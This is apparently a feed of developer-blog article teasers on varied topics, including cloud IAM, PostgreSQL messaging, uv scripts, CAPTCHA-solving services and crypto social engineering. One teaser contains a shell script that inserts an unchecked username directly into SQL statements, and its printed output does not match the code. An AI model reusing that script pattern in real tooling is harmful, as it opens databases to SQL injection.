    The tech industry has seen huge advancements over the past two decades with more updated technology taking the limelight and allowing developers to do more. This has made the tech industry somewhat of a modern day gold rush. Developers can earn great money for their role and navigate unique pay structures. However, the good pay is only a segment of it, as tech developers can find other treasures during their data explorations. Developers also need sharp financial skills to strike gold and be secure for the long haul. This is especially true due to how much the tech industry changes, meaning you need to know how to manage complex pay, invest wisely, plan for taxes and adapt your finances as quickly as technology itself evolves. This article will give you the key ideas to turn your growing t…  ( 6 min )
    From Scatter to All-Reduce: A Plain-English Guide to Collective Operations
    Table of Contents Motivation What are collective operations Communication load and time-space tradeoff How does data sharding affect time-space-communication tradeoff Rank vs node Common collective operations Broadcast Scatter Gather Reduce All-reduce Reduce-scatter All-gather How is all-gather different from gather? Why Reduce-Scatter + All-gather = All-reduce Appendix A: Non-blocking all-gather Collective operations are fundamental to distributed computing, but it was not easy to read documentation such as NCCL to fully understand such operations. This article will instead work through simple examples for each of the more common operations, which I believe is the quickest way to understand these operations. As the intent of this article is to understand the operations at a high level, I…  ( 19 min )
    16 Best CMS Platforms for Websites in 2025
    When it comes to creating a website in 2025, choosing the Best CMS Platforms is more important than ever. Whether you’re a beginner launching your first blog, a business owner running an online store, or a developer building custom solutions, the right CMS can save you time, effort, and money. With many CMS platforms available, each with its own features, pros, and pricing, it’s easy to get overwhelmed. That’s why we’ve created a list of 16 best CMS platforms for websites in 2025, to help you make the right choice for your needs. A Content Management System (CMS) is tool that helps you create, manage, and publish content for websites without writing code. Think of it as engine behind your website that lets you add pages, upload images, organize content, and many more, all through user-frie…  ( 10 min )
    How I Built a Talking, Knowledgeable AI Sidekick (and How You Can too build a Voice AI RAG agent )
    A Story of Code and a Chatty Voice AI agent That Actually Knows Stuff from your docs Chapter 1: The Dream Python 3.11+ (the spellbook) Cartesia (for making your AI talk like a human, not a fax machine) AssemblyAI (so your AI can understand your voice, even if you mumble) Anthropic Claude (the brain—OpenAI is cool, but Claude is the new wizard in town) LiveKit (for real-time voice rooms, so your AI can join you in a virtual “room”) A pile of your own documents (so your AI knows your world) API keys (the secret runes—don’t lose them!) Chapter 3: The Spell (a.k.a. The Code) import logging load_dotenv() logger = logging.getLogger("voice-assistant") load_dotenv() embed_model = HuggingFaceEmbedding(model_name="BAAI/bge-small-en-v1.5") PERSIST_DIR = "./chat-engine-storage" def prewarm(pr…  ( 6 min )
    🚀 Building SoundHive — A Social Music Platform to Support Artists & Fans | Seeking Feedback & Collaborators
    Hi everyone, I’m in the early planning stages of SoundHive, a social platform where music lovers can share, discuss, and review songs, while supporting indie and local artists. The goal is to combine Spotify’s vast catalog with social features tailored for music discovery, artist profiles, and real community engagement. What I plan to build: Spotify API integration for song and playlist sharing User feed with comments and reactions Artist profiles with verification and “drops” (new releases) Basic search and tagging by genres and moods What I’m looking for: Feedback on the concept and tech stack ideas (Next.js, Node.js/Supabase, PostgreSQL, etc...). Suggestions for features or potential pitfalls to watch out for Potential collaborators passionate about music & tech I want to keep some details private to protect the core vision but happy to share more with serious folks. Would love to hear your thoughts and any tips you might have! Also open to collab offers. Thanks for reading! 🎵 contact me at - thetmyoekhaing.npi@gmail.com. here's my github - https://github.com/thetmyoekhaing  ( 3 min )
    Copilot for .NET: Ask Mode vs Agent Mode and How to Use Them
    AI tools are rapidly becoming essential for developers. GitHub Copilot, once just a code-suggestion engine, has evolved into a much smarter assistant — now offering Ask Mode and Agent Mode, especially valuable for .NET developers. In this article, we’ll break down what each mode does, how they differ, when to use them, and how to enable these features inside Visual Studio or VS Code. GitHub Copilot is an AI pair programmer powered by OpenAI, deeply integrated into modern IDEs like Visual Studio and VS Code. In its latest versions, Copilot goes beyond autocomplete and offers more intelligent experiences: 🔹 Ask Mode — a conversational help assistant 🔹 Agent Mode — a task-based smart code executor 🆚 Ask Mode vs Agent Mode 🔹 Ask Mode Think of Ask Mode as a buil…  ( 4 min )
    How to Change Hostname on Linux
    Have you ever introduced yourself anywhere with the wrong name? That’s what a wrong hostname feels like to a Linux system. The hostname is like your system’s name tag, it tells the network, administrators, and even some software what your computer is called. Maybe you’re renaming a server, organizing your devices, or just want something cooler than “localhost.” Don’t worry, it is easier than you think, and in this guide, we’ll walk you through the steps in very simple way, not in technical gibberish. The hostname is like your computer’s name on a network. It helps users and systems to identify your device. Whether you are setting up a server, working with a Raspberry Pi, or managing devices remotely, a hostname makes things more organized. Imagine being in a classroom with everyone called …  ( 6 min )
    How Web3 Projects Plan to Challenge Big Tech in the AI Arms Race
    As Big Tech races to dominate artificial intelligence through massive infrastructure investments, Web3 teams are building an alternative: a decentralized, transparent, and more specialized approach to AI development. In 2024 alone, Amazon, Google, Meta, and Microsoft reportedly spent around $180 billion on AI-related infrastructure and data centers. According to estimates from Dell’Oro Group, these investments may exceed $320 billion by the end of 2025. Despite these figures, Web3 teams believe they are positioned to carve out a unique space in the AI ecosystem. At EthCC’s Agents Day, we spoke with Clara Tsao (Co-founder, Filecoin Foundation), Dan Wang (CEO, Aethir), and Brandon Slake (Head of Protocol Partnerships, Messari) to understand how Web3 is rethinking AI. Building AI systems is n…  ( 5 min )
    Managed Cloud Services: Your Secret Weapon or a Costly Mistake?
    Let’s get straight to it: running a business in 2025 is like juggling flaming torches on a unicycle. Cloud computing services are the backbone of modern operations, offering speed, scale, and flexibility. But here’s the hot topic everyone’s arguing about—should you trust a managed cloud service provider to run your cloud infrastructure, or is that just begging for trouble? We’re diving into the wild world of cloud infrastructure management services, cloud infrastructure managed services, and Azure IaaS services to see if they’re your ticket to success or a risky bet. The Big Sell: Freedom or a Setup? Imagine your IT team drowning in tickets, servers needing constant love, and your cloud bill spiking like a bad fever. Managed cloud service providers swoop in, promising to handle the dirty w…  ( 5 min )
    The Business of Bypassing "I'm not a robot": Who Profits From the War on CAPTCHA - Сomparison of CAPTCHA Solving Services
    In the digital economy, every website is a fortress. And at the gate stands a sentry named CAPTCHA, whose sole job is to filter out soulless bots from living customers. But what if your business is that very "robot"? If you scrape competitor prices, analyze the market, or test software, that sentry becomes your number one enemy. It is on this battlefield that an entire invisible industry was born—services for picking digital locks. These are not mere "solvers," but complex platforms where artificial intelligence and thousands of people from around the world work side by side. We decided to conduct an audit of this gray cardinal of the internet to find out which of its players is worthy of your budget. Four gladiators will face off in our ring: the behemoths 2Captcha and AntiCaptcha, the i…  ( 8 min )
    Dissecting $340M in Losses: The Rise of Social Engineering in Crypto
    In the first half of 2025, the crypto ecosystem witnessed staggering losses of over $2.24 billion due to hacks and exploits. One of the most overlooked yet devastating attack vectors? Social engineerin, responsible for over $340 million lost across Bitcoin, Ethereum and Solana. Unlike technical hacks, social engineering attacks exploit human trust. These attacks often bypass even the most secure smart contracts by targeting developers, signers and everyday users through deception. These attacks don’t rely on bugs in code but rather lapses in human judgment. From phishing sites to deepfake Zoom calls, attackers are finding new ways to manipulate victims. Some of the common tactics include: Phishing: Fake dApps and wallet interfaces trick users into revealing seed phrases or signing maliciou…  ( 4 min )
    Promises in JavaScript
    What is a Promise? A promise is an object that represents the eventual completion (or failure) of an asynchronous operation and its resulting value. placeholder for a value that will arrive in the future. A promise can be in one of three states: Pending - initial state, not fulfilled or rejected. Fulfilled - operation completed successfully. Rejected - operation failed. Consuming a Promise .then() is called when the promise is fulfilled. .catch() is called when the promise is rejected. .finally() runs regardless of success or failure. fetch Why Use Promise? Before promises, we used callbacks, which could lead to "callback hell", deeply nested functions that are hard to read and maintain. Promises solve that by: Making code more readable Making error handling easier Chaining operations Promises in JavaScript - a very important topic for writing clean, modern asynchronous code.  ( 3 min )
    IAM Across Clouds: A Deep Dive into AWS vs GCP IAM
    As cloud engineers, architects, or consultants, we often hop between cloud platforms—designing, deploying, and managing infrastructure. One thing remains central across these platforms: Identity and Access Management (IAM). Control who can do what, where, and under what conditions. But how each cloud enforces this principle is where the real difference lies. The Similarities Across AWS and GCP, IAM shares these key traits: Access Control: Both platforms allow you to define who can access specific resources and what actions they can perform. Least Privilege Principle: They enforce minimal access by default, encouraging the principle of least privilege. Policy-Based Authorization: Both use a policy model (GCP uses role bindings; AWS uses policies attached to identities). Resource-Level Gra…  ( 4 min )
    How to Tell if Your eMMC is Damaged? 5 Practical Signs from Real-World Debugging
    eMMC (embedded MultiMediaCard) is widely used in embedded systems and single board computers (SBCs) like the RK3568 System on Module for storing OS images and application data. But how do you know when your eMMC is failing — before your device stops working entirely? In this post, I’ll share 5 real-world signs that your eMMC is damaged — based on over a decade of debugging embedded systems in production environments. 🛠️ 1. File System Suddenly Goes Read-Only Debug Tip: Check dmesg | grep mmcblk for I/O error messages or block-level failures. ⚠️ 2. Random Boot Failures or Kernel Panics Use Case: We've seen this pattern frequently on RK3566/RK3568 SOMs in field-deployed equipment. 🔍 3. Unexpected Application Crashes or Data Corruption What to look for: File-not-found errors, corrupted databases, or inconsistent app state on reboot. 📈 4. I/O Performance Degradation Pro Tip: Regularly benchmark your I/O performance in production builds to spot degradation early. 📉 5. SMART or Health Status Tools Report Failures Learn more in our RK3568 SBC documentation. ✅ Bonus: How to Prevent eMMC Failures Avoid excessive logging to disk (use tmpfs for logs if possible) Choose industrial-grade eMMC chips Monitor device health regularly Schedule periodic backups or snapshotting where applicable 💡 Closing Thoughts If you're building products based on Rockchip platforms like RK3568 or RK3566, make sure to choose SOMs with reliable eMMC and long-term lifecycle support. 👉 Check out our RK3568 SOM product here — with industrial-grade eMMC and extensive software support.  ( 4 min )
    Shell Script to automate Create User and timestamps in PostgreSQL
    Every quarter, the audit team requests a list of users and the timestamps of when they were created. So, I created a simple shell script to automate user creation and log the details into a table. testdb database 1) Create the table for store the data CREATE TABLE user_log ( username TEXT, created_at TIMESTAMP ); 2) This is the shell script (create_pg_user.sh) #!/bin/bash # Check if a username was provided if [ -z "$1" ]; then echo "Usage: $0 " exit 1 fi USERNAME=$1 TIMESTAMP=$(date '+%Y-%m-%d %H:%M:%S') PGUSER="postgres" PGDATABASE="testdb" PGHOST="localhost" PGPORT="5432" psql -U $PGUSER -d $PGDATABASE -h $PGHOST -p $PGPORT -c "CREATE USER $USERNAME;" psql -U $PGUSER -d $PGDATABASE -h $PGHOST -p $PGPORT -c \ "INSERT INTO user_log (username, created_at) VALUES ('$USERNAME', '$TIMESTAMP');" 3) Execute the shell script. here I just put the username and the password will be auto generated. sh create_pg_user.sh myuser CREATE ROLE INSERT 0 1 User created successfully! Username: myuser Password: k4EM99fNRdCC2spj 4) Let's check user created date postgres=# \du List of roles Role name | Attributes | Member of ---------------+------------------------------------------------------------+-------------- myuser | | {} testdb=# select * from user_log; username | created_at ----------+--------------------- myuser | 2025-06-20 12:13:23 (2 rows) so whenever the audit team asks when a user was created, we can provide the information by selecting user_log table  ( 3 min )
    Why Every Business Needs an MSP for Scalable, Secure, and Highly Available IT Platforms
    Organizations consistently evaluate their IT infrastructure plans to achieve alignment with business goals while managing costs and performance needs in today’s changing IT environment. The first surge of digital transformation pushed many organizations to adopt cloud solutions but today several enterprises are exploring on-premises computing options and hybrid deployment models. Flexera’s 2024 State of the Cloud Report indicates that 87% of enterprises adopt a multi-cloud strategy and 76% of these enterprises use a hybrid model that integrates public and private clouds with on-premises systems. Through this blog we examine the two-way transition between cloud services and on-premises systems while offering practical guidance for organizations managing these shifts. The cloud market in Ind…  ( 6 min )
    UI UX Design: The Key to Creating Exceptional Digital Experiences
    In today’s digital world, UI UX design plays a critical role in determining the success of websites, mobile apps, and software products. A seamless user experience (UX) combined with an intuitive user interface (UI) can significantly improve user satisfaction, engagement, and conversion rates. Let’s explore why UI UX design matters, its core principles, and how it benefits businesses. What is UI UX Design? UI UX design refers to two interrelated disciplines: User Interface (UI): Focuses on the look, feel, and interactivity of a digital product. It includes visual elements like buttons, icons, typography, color schemes, and layout. User Experience (UX): Involves the overall experience users have when interacting with a product. It emphasizes usability, functionality, and user satisfaction. …  ( 4 min )
    🚀 Qwen3‑Coder + Qwen Code CLI: A Powerful Open Source Alternative to Claude for Developers
    Alibaba just released Qwen3‑Coder, a 480B parameter Mixture-of-Experts (MoE) code model — and it’s a game-changer. 🔹 Fully open-source (Apache 2.0) 📖 Read the Full Guide on Medium https://medium.com/generative-ai/qwen-code-cli-qwen3-coder-lets-set-up-qwen-code-better-than-claude-code-3ada7b00dd1c  ( 3 min )
    Best Practices for Overcoming SIEM Integration and Security Challenges
    In today's digital landscape, organizations face an ever-growing array of sophisticated cyber threats that demand immediate detection and response. Security Information and Event Management (SIEM) systems have become essential tools for managing these challenges by aggregating security data, streamlining workflows, and enabling rapid threat analysis. However, SIEM integration presents significant challenges, as each organization must navigate unique requirements and technical complexities. This guide outlines fundamental best practices for implementing SIEM solutions, providing valuable insights for security professionals who already understand basic concepts like security logging and incident response protocols. Organizations must carefully plan their data collection strategy before imple…  ( 5 min )
    So Cool!
    🧠 Local, Trustable and Explainable AI. Not a dream! Mak Sò ・ Jul 25 #ai #machinelearning #python #opensource  ( 2 min )
    3487. Maximum Unique Subarray Sum After Deletion
    3487. Maximum Unique Subarray Sum After Deletion Difficulty: Easy Topics: Array, Hash Table, Greedy, Weekly Contest 441 You are given an integer array nums. You are allowed to delete any number of elements from nums without making it empty. After performing the deletions, select a subarray1 of nums such that: All elements in the subarray are unique. The sum of the elements in the subarray is maximized. Return the maximum sum of such a subarray. Example 1: Input: nums = [1,2,3,4,5] Output: 15 Explanation: Select the entire array without deleting any element to obtain the maximum sum. Example 2: Input: nums = [1,1,0,1,1] Output: 1 Explanation: Delete the element nums[0] == 1, nums[1] == 1, nums[2] == 0, and nums[3] == 1. Select the entire array [1] to obtain the maximum sum. Example 3: Input…  ( 29 min )
    Introduction to Grafana Cloud & Account Creation
    1.What is Grafana Cloud? Grafana Cloud is a fully managed cloud-hosted observability platform ideal for cloud native environments. Grafana Cloud is a tightly integrated stack for metrics, logs, and traces unified within the best dashboarding platform for visualizing data. 2.Powered by open source : Grafana Cloud is built on Grafana Labs’ leading open source software Grafana dashboards: Get unlimited dashboards managed for you in a dedicated Grafana instance. Plus, gain instant access to new features thanks to seamless upgrades to the latest releases. Metrics: Bring together raw, unsampled metrics for all your applications and infrastructure, no matter where they live, in one place. Logs: Discover root causes faster with our high-performance log aggregation and storage system powered by G…  ( 4 min )
    Join the OSS Hackathon 2025 and win $10k+ in prizes
    Too many essential tools are locked behind paywalls or simply unavailable as open source alternatives. The Open Source Hackathon 2025 (September 1-7) is our attempt to grow the ecosystem of open source alternatives and reward builders who create them. Herman Miller Aeron Chair Bambulab P1S 3D Printer Framework Laptop 13 Plus Leap credits Walkingpad C2 Teenage Engineering OB-4 Steam Deck OLED Plus Leap credits Airpods Pro 2 Keychron Q1 Pro Sony WH-1000XM5 Plus Leap credits Build something real. Make it open source. Win prizes. Help others break free from vendor lock-in. We're looking for applications that provide open alternatives to tools currently: Behind paywalls Limited by restrictive licenses Missing open source equivalents Leap is an AI-powered development platform that builds full-stack applications with real backend services, APIs, and deploys to your AWS or GCP cloud — all from a single prompt. It's built on top of Encore, our open source backend framework. It's never been easier or faster to build open source alternatives, which makes this hackathon the perfect opportunity to create something meaningful. Dates: September 1-7, 2025 Format: Remote & async, individual participation Prize Pool: $10k+ in prizes Partner: Polar.sh Registration: osshackathon.com 👥 Join the Community 100+ developers have already signed up! More details will be coming soon. Questions? Reach out to hello@leap.new We take privacy seriously and will only use your email for hackathon-related updates. Full stop.  ( 3 min )
    The Challenges of Self-Learning Programming (and How to Overcome Them)
    Most of my friends knew what they wanted to be in high school. I didn’t. Well, I thought I did. I wanted to become a petrochemical engineer because they were earning a lot of money, or so I thought. The problem was, I didn’t like chemistry. Failed it twice. I still thought this was my path because, you know, the money. That was my plan for a while, until a tutor came to the tutorial center where I was preparing for college one day and said, “Most students study courses they don’t like. They do it for money, or because their parents want them to, or because companies pay well. Go home and think about what you actually love doing.” I went home and thought hard. Chemistry was out—obviously not happening. But I’d always loved web applications—in fact, tech as a whole. After school, I’d hang ou…  ( 6 min )
    LLM Act
    On 30 November 2022, ChatGPT, the product of OPENAI, saw the light of day, and it was my first “really conscious” technology drift of my life. I experienced both the rise of social networks and the spread of fast internet connections, but at the time, I was too young to have a before-and-after comparison. This time, it was different. I was completing my Master's degree, and my last few years were quite similar (learning, studying, trying, doing other stuff-ing, completing exams), so I have a clear comparison of tasks influenced by this tool. To be honest, at the beginning it was a great tool for writing, summarizing, and generating Q&A for my mock exams. It was not a good programmer, though. But it solved a lot of boring stuff about my student life. I started to use it. Recognizing this ch…  ( 19 min )
    Running Python Scripts with uv: Zero Dependencies Management 🚀
    Tired of setting up virtual environments and managing dependencies for simple Python scripts? Meet uv - the game-changing tool that lets you run Python scripts with external dependencies in seconds, not minutes! ✅ Zero Configuration - No virtual environments, no pip installs # API testing uv run --with requests test_api.py # Data analysis uv run --with pandas --with matplotlib analyze_data.py # Web scraping uv run --with beautifulsoup4 --with requests scraper.py # /// script # dependencies = [ #   "requests>=2.31.0", #   "rich>=13.0.0" # ] # requires-python = ">=3.10" # /// import requests from rich.console import Console # Your script code here... Then simply run: uv run my_script.py 🔍 API Testing & Monitoring - Test endpoints without setup overhead 📊 Data Analysis - Process CSV …  ( 4 min )
    Why Visualforce Still Matters in the World of Salesforce
    In Salesforce development today, the conversation is dominated by Lightning Web Components (LWC). It’s modern, performant, and built for the future of the platform. With all this buzz, it’s easy to wonder: does that mean older frameworks like Visualforce are obsolete? The answer is a definitive no. While it may be the senior framework, Visualforce remains a powerful and highly relevant tool for specific use cases. Think of it as a specialized instrument in a developer’s toolbox—just because a new multi-tool exists doesn’t mean you throw away the perfect wrench for a specific job. Why Visualforce Still Has a Place The key difference lies in the rendering model. Visualforce is a server-side framework, meaning all the heavy lifting—like data processing and page compilation—happens securely on…  ( 5 min )
    The Engineering Principles Behind Sparrow’s Speed
    Modern developer tools often fall into two categories: either overloaded with features that slow you down, or too minimal to handle real-world complexity. With Sparrow, we aimed for a third path—a tool that delivers performance, clarity, and developer control without compromise. We set out to create a tool that is fast, lightweight, and powerful, without unnecessary complexity. From first launch to the hundredth request, Sparrow stays responsive, consistent, and clear in intent. It’s not just what it does—it’s how effortlessly it does it. Performance isn’t an afterthought in Sparrow—it’s the foundation. We use native technologies that minimize memory usage and maximize responsiveness, especially critical when building a desktop application for developers who expect immediate feedback. By c…  ( 4 min )
    How I deployed my first project for my devops portfolio: CI/CD during development vs CI/CD while live
    CI/CD during development and CI/CD now during live CI/CD setup during development First I setup my Jenkins. I didn't want to manually run jenkins every time I boot up my raspberry pi so I made a Custom Daemon Service for it. [Unit] Description=Jenkins After=network.target [Service] Type=simple User= Group=users ExecStart=/home//jenkins/jdk-21.0.5/bin/java -Dhudson.plugins.git.GitSCM.ALLOW_LOCAL_CHECKOUT=true -DJENKINS_HOME=/home//jenkins/.jenkins-config-new -jar /home//jenkins/jenkins.war Restart=always [Install] WantedBy=multi-user.target Then I systemctl enabled and it was working fine. The journalctl -xeu jenkins.service helped me to get the initial password as jenkins was starting the first time. Second I have installed docker and…  ( 7 min )
    The Complete Company Landing Page - Holistic Webdev Challenge
    This is a submission for Frontend Challenge: Office Edition sponsored by Axero, Holistic Webdev: Office Space As an employee, I've often wondered if there was a single website where I could view everything at a glance to start the day. Despite the fact that there are planning, product development tools, and dashboards, all of the information is spread across multiple websites. I was able to design a simple prototype of a company landing page that summarizes all data for a quick glance throughout the day. Please access the live URL and view the details. Live URL Github Repo As I previously stated, my intention was to put all necessary data on the home page. It was difficult to design such a page. After looking for inspiration and incorporating UI elements from existing established solutions, I was able to create a minimal solution, which still requires a lot of work. This design is heavily reliant on Shadcn UI and blocks produced from it via various websites. Also the color theme is adapted from Catppuccin color palette. The UI is currently immature, but the main goal is to consolidate all critical information on the home page. If you believe there is something missing, please leave a comment. Please show your support by liking this post. Many thanks. Good day!  ( 3 min )
    IC to EM Roadmap Series: Part 3: The Way of the Investigation – Agile & Operations 💡🗓️
    Welcome back, detective! In Part 2, we decoded some complex technical clues. Now, it's time to talk strategy. As an EM, you're the lead investigator for your team's projects. This means getting great at how your team works together (agile) and how you keep projects on track (project management). Let's set up our investigation plan! 🗺️ Case File 3.1: Agile Academy – Your Playbook for Team Missions 📚🏃‍♀️ Daily Standups: Quick Briefings ⏱️ Your Role: Listen for anything blocking your team. Help agents give clear, short updates. If There's a Problem: If someone is always stuck, talk with them one-on-one. Look at what they depend on. Clear out any process delays. Sprint Planning: Mission Prep! 🎯 Your Role: Make sure your team sets goals they can actually reach. Don't let them take on too mu…  ( 6 min )
    কিভাবে ডুয়েল বুট থেকে উবুন্টু রিমুভ করবেন?
    অনেক ব্যবহারকারী Windows-এর সাথে পাশাপাশি Ubuntu ইনস্টল করে ডুয়েল বুট সেটআপ করে থাকেন। তবে কোনো একসময় Ubuntu আর দরকার না হলে সেটি সঠিকভাবে রিমুভ করাটা গুরুত্বপূর্ণ, নাহলে বুটিং সমস্যা হতে পারে। আজকের এই আর্টিকেলে আমরা দেখবো কীভাবে আপনি নিরাপদে এবং সহজে Ubuntu রিমুভ করতে পারেন ডুয়েল বুট সিস্টেম থেকে। Ubuntu-তে যদি গুরুত্বপূর্ণ কোনো ফাইল থাকে, তাহলে তা আগে থেকেই অন্য কোথাও ব্যাকআপ করে রাখুন (যেমন: External Drive বা Windows Partition)। Ubuntu রিমুভ করার সময় পুরো পার্টিশন ডিলিট হয়ে যাবে। Windows বুট করুন। Windows + R চাপুন → diskmgmt.msc লিখে Enter দিন। Disk Management খুলবে। এখান থেকে Ubuntu এর EXT4, swap ইত্যাদি পার্টিশন চিনে ফেলুন। সেগুলোতে Right Click → Delete Volume করুন। খালি জায়গাগুলো এখন Unallocated দেখাবে। চাইলে আপনি এই জায়গায় নতুন Windows পার্টিশন বানাতে পারেন, অথবা আগের কোনো পার্টিশনের সাথে Merge করে দিতে পারেন। Ubuntu ইনস্টল করার সময় GRUB Bootloader ইনস্টল হয়, যেটা Ubuntu এবং Windows বুট অপশন দেখায়। এখন যেহেতু Ubuntu থাকবে না, GRUB মুছে Windows-এর bootloader ফিরিয়ে আনা লাগবে। Windows Installation USB/DVD দিয়ে Boot করুন। “Repair your computer” → “Troubleshoot” → “Command Prompt” এ যান। এরপর নিচের কমান্ডগুলো একে একে চালান: bootrec /fixmbr bootrec /fixboot bootrec /scanos bootrec /rebuildbcd কাজ শেষ হলে কম্পিউটার রিস্টার্ট দিন। কম্পিউটার রিস্টার্ট দিন। এখন সরাসরি Windows বুট হবে, আর GRUB স্ক্রিন আসবে না। Ubuntu পুরোপুরি রিমুভ হয়ে গেছে। ভুল পার্টিশন ডিলিট করলে Windows-ও চলবে না। সতর্ক থাকুন। সব সময় Ubuntu রিমুভ করার আগে Data ব্যাকআপ করে নিন। পার্টিশন নিয়ে কাজ করার সময় Power Supply যেন বাধাগ্রস্ত না হয়। Ubuntu রিমুভ করা খুব একটা জটিল না, তবে প্রতিটি ধাপে সতর্ক থাকা জরুরি। এই গাইডটি ফলো করে আপনি সহজেই Ubuntu রিমুভ করে শুধুমাত্র Windows ব্যবহার চালিয়ে যেতে পারবেন।  ( 4 min )
    Transforming Data with Logs: From Chaos to Clarity
    “All models are wrong, but some are useful.” George E. P. Box In the data world, this quote reminds us that while no transformation or model perfectly captures reality, some techniques make our data more useful. One such technique is log transformation, a simple yet powerful tool for making messy data more model-friendly and interpretable. Log transformation is a mathematical operation that converts a variable by taking its logarithm — often natural log (ln) or base-10 (log10). It’s primarily used to: Reduce skewness Handle large outliers Stabilize variance Convert exponential relationships into linear ones If you have a variable x, then its log-transformed version is log(x). But be cautious: only positive values can be log-transformed. Many real-world variables like income, population, o…  ( 4 min )
    [Boost]
    From Scratch to Kubernetes: My Full-Stack DevOps Project on a Local Machine David Oyewole ・ Jun 12 #devops #kubernetes #docker #monitoring  ( 2 min )
    How to Read Excel Files Line by Line in VB .NET (Example)
    Processing Excel data is a common challenge in business and scientific applications, often involving complex data extraction for reports, database integration, or log parsing. Traditional methods using Microsoft Office Interop are problematic due to their dependency on an installed Excel application, high resource consumption, and compatibility issues across versions. These drawbacks are particularly significant for server-side or cloud deployments where Excel installation is impractical. This tutorial introduces IronXL, a robust .NET library that overcomes these limitations by eliminating the need for Excel to be installed. We will provide a technical, step-by-step guide on how to use IronXL to efficiently read Excel files line by line within a VB.NET application, offering a powerful and …  ( 8 min )
    Brighter V10: Utilizando PostgreSQL como Gateway de Mensagens Leve
    Em artigos anteriores, abordei o Brighter V10 RC1. Uma adição notável é o suporte ao Postgres como gateway de mensagens, ideal para aplicações pequenas ou protótipos devido à simplicidade e configuração leve. .NET 8 ou superior Um projeto .NET com estes pacotes NuGet: Paramore.Brighter.MessagingGateway.Postgres: Permite integração com Postgres para filas de mensagens. Paramore.Brighter.ServiceActivator.Extensions.DependencyInjection: Registra o Brighter com Microsoft DI. Paramore.Brighter.ServiceActivator.Extensions.Hosting: Hospeda o Brighter como serviço em segundo plano. Serilog.AspNetCore: Para logs estruturados (opcional, mas recomendado). Antes de continuar com a configuração do Postgres, vamos recapitular o que já sabemos sobre o Brighter. Defina mensagens usando IRequest: public…  ( 5 min )
    Brighter V10: Using PostgreSQL as a Lightweight Messaging Gateway
    In previous articles, I covered Brighter V10 RC1. One notable addition is support for Postgres as a messaging gateway, ideal for small applications or prototypes due to its simplicity and lightweight setup. .NET 8 or superior A .NET project with these NuGet packages Paramore.Brighter.MessagingGateway.Postgres: Enables Postgres integration for message queuing. Paramore.Brighter.ServiceActivator.Extensions.DependencyInjection: Enable register Brighter with Microsoft DI. Paramore.Brighter.ServiceActivator.Extensions.Hosting: Hosts Brighter as a background service. Serilog.AspNetCore: For structured logging (optional but recommended). Before continuing about Postgres configuration, let's recap what we already know about Brighter. Define messages using IRequest: public class Greeting() : Ev…  ( 5 min )
    How can Developers 💪help💪 or 💥hurt💥 the Daily Scrum?
    How can Developers 💪help💪 or 💥hurt💥 the Daily Scrum? The goal of the Daily Scrum is to inspect progress toward the Sprint Goal and adapt the Sprint Backlog as necessary, adjusting the upcoming planned work. I like to think of it as the Developers agreeing on how to work together towards the Sprint Goal for the next 24 hours. Hurts: 💥 Play (bad) Project Manager, taking progress reports, assigning work and talking in ticket numbers. 💥 Holding work hostage, being vague about progress, covering up potential issues and removing the possibility for the team to help. 💥 Waste time by showing up late and unprepared or going super in-depth Helps: 💪 Run It! Create a plan on how to work together to remove impediments, limit WIP and get things to Done. 💪 Focus on the Sprint Goal, and make sure the Product Owner is available 💪 Offer help, always. If someone has to ask, you failed them as a team. Congrats, you read the whole thing! Please let me know what behaviors I missed in the comments below.  ( 3 min )
    7 Image Conversion Mistakes That Are Killing Your App Performance (And How to Fix Them)
    I've been debugging image-related performance issues for over a decade, and I keep seeing the same mistakes repeated across projects. Last week alone, I helped three different teams solve "mysterious" performance problems that all traced back to improper image handling. The frustrating part? These issues are completely avoidable once you know what to look for. Let me walk you through the most common image conversion pitfalls I encounter and show you exactly how to fix them. The Problem: Using PNG for every image because "it looks better" I see this constantly in React and Vue projects. Developers receive assets from designers as PNGs and never question whether that's the right format for production. // ❌ Common mistake - using PNG for photos /…  ( 8 min )
    ios :18 pic issue
    📂 React Native iOS 18 – Permission Issues When Accessing Selected Files (Audio, Images, Documents) Hi React Native Devs 👋 I'm facing a critical issue when trying to select and access audio, image, or document files in my React Native app on iOS 18 (real device). The same code works fine on iOS 16 & 17. 📱 Environment: iOS: 18 (real device) Packages used: react-native-document-picker react-native-image-crop-picker react-native-fs 🧪 Use Case: Audio files (e.g., MP3) Images (via camera or library) Documents (PDFs, etc.) Then I either upload the file or play/view it locally using the file uri. File URIs returned (e.g., from DocumentPicker or ImageCropPicker) point to: swift I recived the path it is encoded i have decoded that but still it is showing that you don't have permission to view it. please help if anybody know the answer .  ( 3 min )
    Stevron: Revolutionizing Workspaces with Cordless Power Tools
    How Stevron is powering the future of mobility and performance? In today's fast-paced industries, flexibility is no longer optional—it's essential. Professionals across construction, automotive, woodworking, and home renovation are making the shift toward Cordless Power Tools, and for good reason. They deliver the same robust performance as their corded counterparts, without the hassle of cables or restrictions on movement. Stevron, a trusted name in providing reliable, high-quality Cordless Power Tools designed to enhance efficiency, reduce downtime, and improve safety on-site. Why Choose Cordless Power Tools? Freedom of Movement: No tangled cords or need to stay near a power source. Portability: Ideal for remote job sites and hard-to-reach areas. Improved Safety: Reduced tripping hazards and electric shock risks. Energy-Efficient Batteries: Long-lasting lithium-ion power for uninterrupted use. Quicker Setup: Just grab your tool and go—no extension cords needed. Whether you're drilling, grinding, cutting, or fastening, Cordless Power Tools make it easier to move from task to task without pausing for replugging or untangling cables. What Makes Stevron Stand Out? Wide Product Range: From cordless drills and impact drivers to saws and grinders. Industrial-Grade Durability: Built for long hours and tough job site conditions. Consistent Inventory: Always ready to supply tools in bulk or smaller quantities. Reliable Support: Expert advice and after-sales service you can count on. Whether you're a contractor managing a large team or an independent technician looking for dependable tools, Stevron provides the right Cordless Power Tools to keep your work moving efficiently. Power Up Without the Plug As industries evolve, so should your toolbox. Transitioning to Cordless Power Tools means embracing convenience, safety, and modern engineering without sacrificing performance. And with Stevron by your side, you get tools that deliver power, portability, and peace of mind—all in one.  ( 3 min )
    Building a useWindowSize Hook from Scratch
    Source code: reactuse/useWindowSize https://www.reactuse.com/element/useWindowSize In React development, we frequently need to adjust component behavior based on window size. Today, we'll start with the simplest implementation and gradually optimize it to build a high-performance useWindowSize Hook. Let's begin with the most basic version: import { useState, useEffect } from 'react' function useWindowSize() { const [windowSize, setWindowSize] = useState({ width: window.innerWidth, height: window.innerHeight, }) useEffect(() => { function handleResize() { setWindowSize({ width: window.innerWidth, height: window.innerHeight, }) } window.addEventListener('resize', handleResize) return () => window.removeEventListener('resize', handl…  ( 6 min )
    From Chaos to Control: How We Built Classent to Transform Car Wash Operations with Bolt
